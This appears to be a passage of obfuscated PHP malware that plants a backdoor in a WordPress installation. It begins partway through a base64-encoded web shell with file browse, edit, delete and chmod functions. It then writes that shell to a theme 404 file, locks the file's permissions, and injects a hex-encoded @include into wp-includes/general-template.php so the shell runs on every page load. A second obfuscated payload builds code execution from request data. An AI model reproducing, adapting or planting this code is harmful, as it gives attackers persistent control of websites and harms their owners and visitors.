sb3I9InJlZCI+57yW6L6R5aSx6LSl77yBPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij48YnI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjxicj4NCjxicj4NCjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54iIG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPg0KDQo8L2Zvcm0+JzsNCiAgICB9DQogICAgZWNobyAnPC9jZW50ZXI+JzsNCn1lbHNlew0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9EZWxldGUgZGlyIGFuZCBmaWxlDQogICAgaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gPT0gJ2RlbGV0ZScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCi8vRGVsZXRlIGRpcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdkaXInKXsNCg0KICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9idWF0IGZvbGRlcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdidWF0Jyl7DQogICAgICAgICAgICAkaGFhYSA9ICRfUE9TVFsncGF0aCddOw0KICAgICAgICAgICAgJGhlZWUgPSAkX1BPU1RbJ25hbWUnXTsNCiAgICAgICAgICAgICRob29vID0gIiRoYWFhLyRoZWVlIjsNCiAgICAgICAgICAgICRuZXcgPSAkaGFhYS4nLycuaHRtbHNwZWNpYWxjaGFycygkaGVlZSk7DQogICAgICAgICAgICBpZighbWtkaXIoJG5ldykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuebruW9leWksei0pSE8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paw5bu655uu5b2V5oiQ5YqfISA+Oik8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9EZWxldGUgZmlsZQ0KICAgICAgICBlbHNlaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZmlsZScpew0KDQogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107DQogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCiAgICAgICAgICAgIGlmKHVubGluaygkcGF0Yykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paH5Lu25Yig6Zmk5oiQ5YqfPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlofku7bliKDpmaTlpLHotKU8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICBlY2hvICc8L2NlbnRlcj4nOw0KICAgICRzY2FuZGlyID0gc2NhbmRpcigkcGF0aCk7DQogICAgJHBhID0gZ2V0Y3dkKCk7DQogICAgZWNobyAnIDxkaXYgaWQ9ImNvbnRlbnQiPjx0YWJsZSB3aWR0aD0iMTAwJSIgY2xhc3M9InRhYmxlX2hvbWUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCiANCjx0cj4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7Ij48Y2VudGVyPuWQjeensDwvY2VudGVyPjwvdGg+DQo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5aSn5bCPPC9jZW50ZXI+PC90aD4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L3RoPg0KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuaTjeS9nOmAiemhuTwvY2VudGVyPjwvdGg+DQo8L3RyPg0KDQoNCiA8dHI+DQo8dGQgY2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPg0KPGEgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLmRpcm5hbWUoJHBhdGgpLiciIHN0eWxlPSJkaXNwbGF5OmJsb2NrOyB3aWR0aDoxMDAlOyIgdGl0bGU9IuS4iuS4gOmhtSI+5LiK5LiA6aG1PC9hPg0KPC90ZD48dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+U2l6ZTwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj5DaG1vZDwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4gPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1iYXJ1Jm5hbWU9bmV3LnBocCI+KyDmlrDlu7rmlofku7Y8L2E+IHwgPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1idHcmdHlwZT1kaXIiPisg5paw5bu655uu5b2VPC9hPiA8L3RkPjwvdHI+DQonOw0KDQogICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZGlyKXsNCiAgICAgICAgaWYoIWlzX2RpcigiJHBhdGgvJGRpciIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7DQogICAgICAgIGVjaG8gIg0KPHRyPg0KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+RElSPC9jZW50ZXI+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4NCjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPg0KIjsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7DQogICAgICAgIGVjaG8ganVlamlhbmdfcGVybXMoIiRwYXRoLyRkaXIiKTsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPC9mb250Pic7DQoNCiAgICAgICAgZWNobyAiDQo8L2E+DQo8L3RkPg0KDQoNCjx0ZCBjbGFzcz10ZF9ob21lID48Y2VudGVyPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZGlyJm5hbWU9JGRpclwiPumHjeWRveWQjTwvYT4NCjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8YnI+JzsNCiAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsNCiAgICAgICAgaWYoIWlzX2ZpbGUoIiRwYXRoLyRmaWxlIikpIGNvbnRpbnVlOw0KICAgICAgICAkc2l6ZSA9IGZpbGVzaXplKCIkcGF0aC8kZmlsZSIpLzEwMjQ7DQogICAgICAgICRzaXplID0gcm91bmQoJHNpemUsMyk7DQogICAgICAgIGlmKCRzaXplID49IDEwMjQpew0KICAgICAgICAgICAgJHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOw0KICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICRzaXplID0gJHNpemUuJyBLQic7DQogICAgICAgIH0NCg0KDQogICAgICAgIGVjaG8gIjx0cj4NCjx0ZCBjbGFzcz10ZF9ob21lID4gPGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQXdBQUFBUUNBWUFBQUFpWVo0SEFBQUFDWEJJV1hNQUFBc1RBQUFMRXdFQW1wd1lBQUFLVFdsRFExQlFhRzkwYjNOb2IzQWdTVU5ESUhCeWIyWnBiR1VBQUhqYW5WTjNXSlAzRmo3ZjkyVVBWa0xZOExHWGJJRUFJaU9zQ01nUVdhSVFrZ0JoaEJBU1FNV0ZpQXBXRkJVUm5FaFZ4SUxWQ2tpZGlPS2dLTGhuUVlxSVdvdFZYRGp1SDl5bnRYMTY3KzN0KzlmN3ZPZWM1L3pPZWM4UGdCRVNKcEhtb21vQU9WS0ZQRHJZSDQ5UFNNVEp2WUFDRlVqZ0JDQVE1c3ZDWndYRkFBRHdBM2w0Zm5Td1Avd0JyMjhBQWdCdzFTNGtFc2ZoLzRPNlVDWlhBQ0NSQU9BaUV1Y0xBWkJTQU1ndVZNZ1VBTWdZQUxCVHMyUUtBSlFBQUd4NWZFSWlBS29OQU96MFNUNEZBTmlwazl3WEFOaWlIS2tJQUkwQkFKa29SeVFDUUxzQVlGV0JVaXdDd01JQW9LeEFJaTRFd0s0QmdGbTJNa2NDZ0wwRkFIYU9XSkFQUUdBQWdKbENMTXdBSURnQ0FFTWVFODBESUV3RG9ERFN2K0NwWDNDRnVFZ0JBTURMbGMyWFM5SXpGTGlWMEJwMzh2RGc0aUhpd215eFFtRVhLUkJtQ2VRaW5KZWJJeE5JNXdOTXpnd0FBQnI1MGNIK09EK1E1K2JrNGVabTUyenY5TVdpL212d2J5SStJZkhmL3J5TUFnUUFFRTdQNzlwZjVlWFdBM0RIQWJCMXYydXBXd0RhVmdCbzMvbGRNOXNKb0ZvSzBIcjVpM2s0L0VBZW5xRlF5RHdkSEFvTEMrMGxZcUc5TU9PTFB2OHo0Vy9naTM3Mi9FQWUvdHQ2OEFCeG1rQ1pyY0NqZy8xeFlXNTJybEtPNThzRVFqRnU5K2NqL3NlRmYvMk9LZEhpTkxGY0xCV0s4VmlKdUZBaVRjZDV1VktSUkNISmxlSVM2WDh5OFIrVy9RbVRkdzBBcklaUHdFNjJCN1hMYk1CKzdnRUNpdzVZMG5ZQVFIN3pMWXdhQzVFQUVHYzBNbm4zQUFDVHYvbVBRQ3NCQU0yWHBPTUFBTHpvR0Z5b2xCZE14Z2dBQUVTZ2dTcXdRUWNNd1JTc3dBNmN3UjI4d0JjQ1lRWkVRQXdrd0R3UVFnYmtnQndLb1JpV1FSbFV3RHJZQkxXd0F4cWdFWnJoRUxUQk1UZ041K0FTWElIcmNCY0dZQmlld2hpOGhna0VRY2dJRTJFaE9vZ1JZbzdZSXM0SUY1bU9CQ0poU0RTU2dLUWc2WWdVVVNMRnlIS2tBcWxDYXBGZFNDUHlMWElVT1kxY1FQcVEyOGdnTW9yOGlyeEhNWlNCc2xFRDFBSjFRTG1vSHhxS3hxQnowWFEwRDEyQWxxSnIwUnEwSGoyQXRxS24wVXZvZFhRQWZZcU9ZNERSTVE1bWpObGhYSXlIUldDSldCb214eFpqNVZnMVZvODFZeDFZTjNZVkc4Q2VZZThJSkFLTGdCUHNDRjZFRU1Kc2dwQ1FSMWhNV0VPb0pld2p0Qks2Q0ZjSmc0UXh3aWNpazZoUHRDVjZFdm5FZUdJNnNaQllScXdtN2lFZUlaNGxYaWNPRTErVFNDUU95WkxrVGdvaEpaQXlTUXRKYTBqYlNDMmtVNlErMGhCcG5Fd202NUJ0eWQ3a0NMS0FyQ0NYa2JlUUQ1QlBrdnZKdytTM0ZEckZpT0pNQ2FJa1VxU1VFa28xWlQvbEJLV2ZNa0tab0twUnphbWUxQWlxaURxZldrbHRvSFpRTDFPSHFSTTBkWm9selpzV1E4dWtMYVBWMEpwcFoybjNhQy9wZExvSjNZTWVSWmZRbDlKcjZBZnA1K21EOUhjTURZWU5nOGRJWWlnWmF4bDdHYWNZdHhrdm1VeW1CZE9YbWNoVU1OY3lHNWxubUErWWIxVllLdllxZkJXUnloS1ZPcFZXbFg2VjU2cFVWWE5WUDlWNXFndFVxMVVQcTE1V2ZhWkdWYk5RNDZrSjFCYXIxYWtkVmJ1cE5xN09VbmRTajFEUFVWK2p2bC85Z3ZwakRiS0doVWFnaGtpalZHTzN4aG1OSVJiR01tWHhXRUxXY2xZRDZ5eHJtRTFpVzdMNTdFeDJCZnNiZGk5N1RGTkRjNnBtckdhUlpwM21jYzBCRHNheDRQQTUyWnhLemlIT0RjNTdMUU10UHkyeDFtcXRacTErclRmYWV0cSsybUx0Y3UwVzdldmE3M1Z3blVDZExKMzFPbTA2OTNVSnVqYTZVYnFGdXR0MXorbyswMlByZWVrSjljcjFEdW5kMFVmMWJmU2o5UmZxNzlidjBSODNNRFFJTnBBWmJERTRZL0RNa0dQb2E1aHB1Tkh3aE9Hb0VjdG91cEhFYUtQUlNhTW51Q2J1aDJmak5YZ1hQbWFzYnh4aXJEVGVaZHhyUEdGaWFUTGJwTVNreGVTK0tjMlVhNXBtdXRHMDAzVE16TWdzM0t6WXJNbnNqam5Wbkd1ZVliN1p2TnY4allXbFJaekZTb3MyaThlVzJwWjh5d1dXVFpiM3JKaFdQbFo1VnZWVzE2eEoxbHpyTE90dDFsZHNVQnRYbXd5Yk9wdkx0cWl0bTYzRWRwdHQzeFRpRkk4cDBpbjFVMjdhTWV6ODdBcnNtdXdHN1RuMllmWWw5bTMyengzTUhCSWQxanQwTzN4eWRIWE1kbXh3dk91azRUVERxY1NwdytsWFp4dG5vWE9kOHpVWHBrdVF5eEtYZHBjWFUyMm5pcWR1bjNyTGxlVWE3cnJTdGRQMW81dTdtOXl0MlczVTNjdzl4WDJyKzAwdW14dkpYY005NzBIMDhQZFk0bkhNNDUybm02ZkM4NURuTDE1MlhsbGUrNzBlVDdPY0pwN1dNRzNJMjhSYjRMM0xlMkE2UGoxbCtzN3BBejdHUGdLZmVwK0h2cWErSXQ4OXZpTisxbjZaZmdmOG52czcrc3Y5ai9pLzRYbnlGdkZPQldBQndRSGxBYjJCR29HekEyc0RId1NaQktVSE5RV05CYnNHTHd3K0ZVSU1DUTFaSDNLVGI4QVg4aHY1WXpQY1p5eWEwUlhLQ0owVldodjZNTXdtVEI3V0VZNkd6d2pmRUg1dnB2bE02Y3kyQ0lqZ1IyeUl1QjlwR1prWCtYMFVLU295cWk3cVViUlRkSEYwOXl6V3JPUlorMmU5anZHUHFZeTVPOXRxdG5KMlo2eHFiRkpzWSt5YnVJQzRxcmlCZUlmNFJmR1hFblFUSkFudGllVEUyTVE5aWVOekF1ZHNtak9jNUpwVWxuUmpydVhjb3JrWDV1bk95NTUzUEZrMVdaQjhPSVdZRXBleVArV0RJRUpRTHhoUDVhZHVUUjBUOG9TYmhVOUZ2cUtOb2xHeHQ3aEtQSkxtblZhVjlqamRPMzFEK21pR1QwWjF4ak1KVDFJcmVaRVprcmtqODAxV1JOYmVyTS9aY2RrdE9aU2NsSnlqVWcxcGxyUXIxekMzS0xkUFppc3JrdzNrZWVadHlodVRoOHIzNUNQNWMvUGJGV3lGVE5HanRGS3VVQTRXVEMrb0szaGJHRnQ0dUVpOVNGclVNOTltL3VyNUl3dUNGbnk5a0xCUXVMQ3oyTGg0V2ZIZ0lyOUZ1eFlqaTFNWGR5NHhYVks2WkhocDhOSjl5MmpMc3BiOVVPSllVbFh5YW5uYzhvNVNnOUtscFVNcmdsYzBsYW1VeWN0dXJ2UmF1V01WWVpWa1ZlOXFsOVZiVm44cUY1VmZySENzcUs3NHNFYTQ1dUpYVGwvVmZQVjViZHJhM2txM3l1M3JTT3VrNjI2czkxbS9yMHE5YWtIVjBJYndEYTBiOFkzbEcxOXRTdDUwb1hwcTlZN050TTNLelFNMVlUWHRXOHkyck52eW9UYWo5bnFkZjEzTFZ2MnRxN2UrMlNiYTFyL2RkM3Z6RG9NZEZUdmU3NVRzdkxVcmVGZHJ2VVY5OVc3UzdvTGRqeHBpRzdxLzVuN2R1RWQzVDhXZWozdWxld2YyUmUvcmFuUnZiTnl2djcreUNXMVNObzBlU0RwdzVadUFiOXFiN1pwM3RYQmFLZzdDUWVYQko5K21mSHZqVU9paHpzUGN3ODNmbVgrMzlRanJTSGtyMGpxL2Rhd3RvMjJnUGFHOTcraU1vNTBkWGgxSHZyZi9mdTh4NDJOMXh6V1BWNTZnblNnOThmbmtncFBqcDJTbm5wMU9QejNVbWR4NTkwejhtV3RkVVYyOVowUFBuajhYZE81TXQxLzN5ZlBlNTQ5ZDhMeHc5Q0wzWXRzbHQwdXRQYTQ5UjM1dy9lRklyMXR2NjJYM3krMVhQSzUwOUUzck85SHYwMy82YXNEVmM5ZjQxeTVkbjNtOTc4YnNHN2R1SnQwY3VDVzY5ZmgyOXUwWGR3cnVUTnhkZW85NHIveSsydjNxQi9vUDZuKzAvckZsd0czZytHREFZTS9EV1EvdkRnbUhudjZVLzlPSDRkSkh6RWZWSTBZampZK2RIeDhiRFJxOThtVE9rK0duc3FjVHo4cCtWdjk1NjNPcjU5Lzk0dnRMejFqODJQQUwrWXZQdjY1NXFmTnk3NnVwcnpySEk4Y2Z2TTU1UGZHbS9LM08yMzN2dU8rNjM4ZTlINWtvL0VEK1VQUFIrbVBIcDlCUDl6N25mUDc4TC9lRTgvc2wwcDh6QUFBQUlHTklVazBBQUhvbEFBQ0Fnd0FBK2Y4QUFJRHBBQUIxTUFBQTZtQUFBRHFZQUFBWGI1SmZ4VVlBQUFHNFNVUkJWSGphZkpMUGFoTlJGTVovOTl5WmFiQnhDTk5LaXlnb3hHQ2dsQlpjdUNnSTlnMktMMU5Dd1M1S1g4QW5VTG9TdW5QVnJkdkdnQnVwRVYyNEVXUUNNOG5NNU0rOTE4Vk1SdU9pMytyQ1BkLzVmZWZjcTE3MVhqdTA1VGJadWVIeS9Fd0JlR2pMMjVNVDVzYXdNSWFKWFRWL0dneDRkM1hGMFhIUFhaNmZLUUd3MXJJd2hwa3htT21VUE10SXgyT1NKR0djcHJ3L1BVVjh6ZEZ4ejhrNFRldHVnZFkwZ29CQWF6d1JsQWh4SFBQbTRvSVhuUTZmQjMwOEFCSGhZNzhQd05aNnhLOUp6RzYzQzhETHcwT2N0WVJoeUlmcjY5SUEwRzYzY1ZYK0ppMGFRUUN6R1FDTGYyYnlBTFJTRElmRHVqdkF0Nm9nOGhyRWk0TDl2YjNTVUdRWlNvU25uUTRMYTdsTFZKT1d1bDhVQUJSWlZzM2dIRjl1YnVxQ0pXbHJQU3BwazVpRDdlMktrT2NBN0hhN3pJd3BNLzlIYXRMQzA1b2l6LzhPL2ZQcmQ4S1d6NC9mYVUwQm1FOHovTFU3Nk0zTmtqQXRDclFJRDU0OExrbjNZR1lNRDZNSWF5Mm1vZ0pNaTJLVkFCQzJmUExjNTlIR0JvZ0FZSXhCcXJPM2ZPbUQ1OC9LeXlxM2NRNnRWRzBDR0tjcFhqSWFyYXhRaTJDc0xZc0JKWUpUQ2lWQ01ocWhtanM3enRyYnYvZFNJc0tmQVFEZklzS0h2QVpZWkFBQUFBQkpSVTVFcmtKZ2dnPT0nPg0KDQoiOw0KLy8gPGEgaHJlZj1cIj9BUlJBWT17JEFSUkFZfSZmaWxlc3JjPSRwYXRoLyRmaWxlJnBhdGg9JHBhdGhcIj4kZmlsZTwvYT4NCiAgICAgICAgZWNobyAiDQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWVkaXQmdHlwZT1maWxlJm5hbWU9eyRmaWxlfVwiPnskZmlsZX08L2E+DQo8L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWU+PGNlbnRlcj4iLiRzaXplLiI8L2NlbnRlcj48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249J2NlbnRlcic+PGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9Y2htb2QmdHlwZT1maWxlJm5hbWU9JGZpbGVcIiB0aXRsZT0n5p2D6ZmQ6K6+572uJz4iOw0KDQoNCg0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOw0KICAgICAgICBlY2hvIGp1ZWppYW5nX3Blcm1zKCIkcGF0aC8kZmlsZSIpOw0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOw0KICAgICAgICBlY2hvICI8L2E+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lPjxjZW50ZXI+DQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPSRwYXRoJm9wdD1lZGl0JnR5cGU9ZmlsZSZuYW1lPSRmaWxlXCI+57yW6L6RPC9hPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZmlsZSZuYW1lPSRmaWxlJnBhdGg9JHBhdGhcIj7ph43lkb3lkI08L2E+DQo8YSBocmVmPVwiamF2YXNjcmlwdDppZihjb25maXJtKCfnoa7lrp7opoHliKDpmaTlkJc/JykpbG9jYXRpb249Jz9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD17JHBhdGh9Jm9wdD1kZWxldGUmdHlwZT1maWxlJm5hbWU9eyRmaWxlfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8L3RhYmxlPg0KPC9kaXY+JzsNCn0NCmVjaG8gJzxicj48YnI+PGJyPjxicj48L2I+DQo8L2JvZHk+IDwvaHRtbD48L2JvZHk+DQo8L2h0bWw+JzsNCmRpZTsNCmVuZGlmOyAgLy8gPT09PQ0KDQoNCg0KDQoNCg0K"; // WP 404 @chmod($jue_jiang_404_path, 0644); @file_put_contents($jue_jiang_404_path, base64_decode($jue_jiang_404)); @chmod($jue_jiang_404_path, 0444); } $file_general_template_path = $do."wp-includes/general-template.php"; $general_template_code = @file_get_contents($file_general_template_path); $gen_mat = base64_decode("QGluY2x1ZGVbXHNdKyIoXFxbeDAtOV0uKz8pIjs="); $isget_mat = preg_match("/{$gen_mat}/i",$general_template_code)?true:false; if (!$isget_mat){ $mc1 = "KGZ1bmN0aW9uW1xzXStnZXRfaGVhZGVyKFtcc10rKT9cKCguKz8peyk="; preg_match_all("/".base64_decode($mc1)."/i",$general_template_code,$pr); $str = "\x" . substr(chunk_split(bin2hex($jue_jiang_404_path), 2, "\x"), 0, -2); $new_general_template = str_replace($pr[0][0],$pr[0][0].PHP_EOL.PHP_EOL." @include \"$str\";",$general_template_code); @file_put_contents($file_general_template_path,$new_general_template); } error_reporting(0); set_time_limit(0); ignore_user_abort(true); $do = "/home/xswop4u1ust1/public_html/"; $open_cache_ruzhu_phpcode = base64_decode("PD9waHAgZXJyb3JfcmVwb3J0aW5nKDApOyAkamN2cyA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRQWkdTPSR7JGpjdnNbMzFdLiRqY3ZzWzU5XS4kamN2c1s0N10uJGpjdnNbNDddLiRqY3ZzWzUxXS4kamN2c1s1M10uJGpjdnNbNTddfTtAKGNvdW50KCRQWkdTKT09MjMmJmluX2FycmF5KGdldHR5cGUoJFBaR1MpLmNvdW50KCRQWkdTKSwkUFpHUykpPygoJFBaR1NbNjldPSRQWkdTWzY5XS4kUFpHU1s3NV0pJiYoJFBaR1NbODldPSRQWkdTWzY5XSgkUFpHU1s4OV0pKSYmKEAkUFpHUz0kUFpHU1s4OV0oJFBaR1NbNjBdLCRQWkdTWzY5XSgkeyRQWkdTWzUwXX1bMjZdKSkpJiYkUFpHUygpKTokUFpHUzsgJG91WFVCdiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRicU1qID0gYXJyYXkoQCR7JG91WFVCdlszMV0uJG91WFVCdls1NV0uJG91WFVCdls1N10uJG91WFVCdls0Ml19WyRvdVhVQnZbNjFdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNjFdLiRvdVhVQnZbMzddXSwgJG91WFVCdlsyN10uJG91WFVCdlsxMl0uJG91WFVCdlsyNV0uJG91WFVCdlsyOV0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyNF0uJG91WFVCdls5XS4kb3VYVUJ2WzE2XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzEwXS4kb3VYVUJ2WzIxXS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzE2XSwgJG91WFVCdlsxMV0uJG91WFVCdlsxMF0uJG91WFVCdlsxMl0uJG91WFVCdlszMV0uJG91WFVCdlsxMl0uJG91WFVCdlsxNV0uJG91WFVCdlsxMF0uJG91WFVCdls3N10uJG91WFVCdls3NV0sICRvdVhVQnZbMjBdLiRvdVhVQnZbMTFdLiRvdVhVQnZbMTVdLiRvdVhVQnZbMTZdLiRvdVhVQnZbMzFdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLiRvdVhVQnZbMjddLiRvdVhVQnZbMTVdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLCRvdVhVQnZbMTRdLiRvdVhVQnZbMjldLiRvdVhVQnZbMjddLiRvdVhVQnZbMTldLCAkb3VYVUJ2WzI4XS4kb3VYVUJ2WzI5XS4kb3VYVUJ2WzExXS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzcyXS4kb3VYVUJ2Wzc0XS4kb3VYVUJ2WzMxXS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XSwgJG91WFVCdlsyNF0uJG91WFVCdlsyMV0